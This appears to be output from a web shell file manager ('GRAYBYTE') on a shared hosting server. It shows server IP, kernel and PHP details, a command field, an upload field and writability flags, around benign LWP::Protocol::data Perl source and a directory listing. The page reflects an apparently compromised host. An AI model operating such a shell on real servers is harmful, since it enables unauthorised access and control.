GRAYBYTE WORDPRESS FILE MANAGER7648

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /usr/local/share/perl5/LWP/Protocol/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /usr/local/share/perl5/LWP/Protocol//data.pm
package LWP::Protocol::data;

# Implements access to data:-URLs as specified in RFC 2397

use strict;

our $VERSION = '6.76';

require HTTP::Response;
require HTTP::Status;

use parent qw(LWP::Protocol);

use HTTP::Date qw(time2str);
require LWP;  # needs version number

sub request
{
    my($self, $request, $proxy, $arg, $size) = @_;

    # check proxy
    if (defined $proxy)
    {
	return HTTP::Response->new( HTTP::Status::RC_BAD_REQUEST,
				  'You can not proxy with data');
    }

    # check method
    my $method = $request->method;
    unless ($method eq 'GET' || $method eq 'HEAD') {
	return HTTP::Response->new( HTTP::Status::RC_BAD_REQUEST,
				  'Library does not allow method ' .
				  "$method for 'data:' URLs");
    }

    my $url = $request->uri;
    my $response = HTTP::Response->new( HTTP::Status::RC_OK, "Document follows");

    my $media_type = $url->media_type;

    my $data = $url->data;
    $response->header('Content-Type'   => $media_type,
		      'Content-Length' => length($data),
		      'Date'           => time2str(time),
		      'Server'         => "libwww-perl-internal/$LWP::VERSION"
		     );

    $data = "" if $method eq "HEAD";
    return $self->collect_once($arg, $response, $data);
}

1;

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
March 05 2024 23:49:32
root / root
0755
http
--
March 05 2024 23:49:32
root / root
0755
https
--
March 05 2024 23:49:32
root / root
0755
cpan.pm
1.331 KB
January 25 2024 18:31:29
root / root
0444
data.pm
1.206 KB
January 25 2024 18:31:29
root / root
0444
file.pm
3.755 KB
January 25 2024 18:31:29
root / root
0444
ftp.pm
18.695 KB
January 25 2024 18:31:29
root / root
0444
gopher.pm
5.596 KB
January 25 2024 18:31:29
root / root
0444
http.pm
14.665 KB
January 25 2024 18:31:29
root / root
0444
https.pm
5.396 KB
February 06 2024 01:00:53
root / root
0444
loopback.pm
0.574 KB
January 25 2024 18:31:29
root / root
0444
mailto.pm
4.305 KB
January 25 2024 18:31:29
root / root
0444
nntp.pm
4.1 KB
January 25 2024 18:31:29
root / root
0444
nogo.pm
0.598 KB
January 25 2024 18:31:29
root / root
0444

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF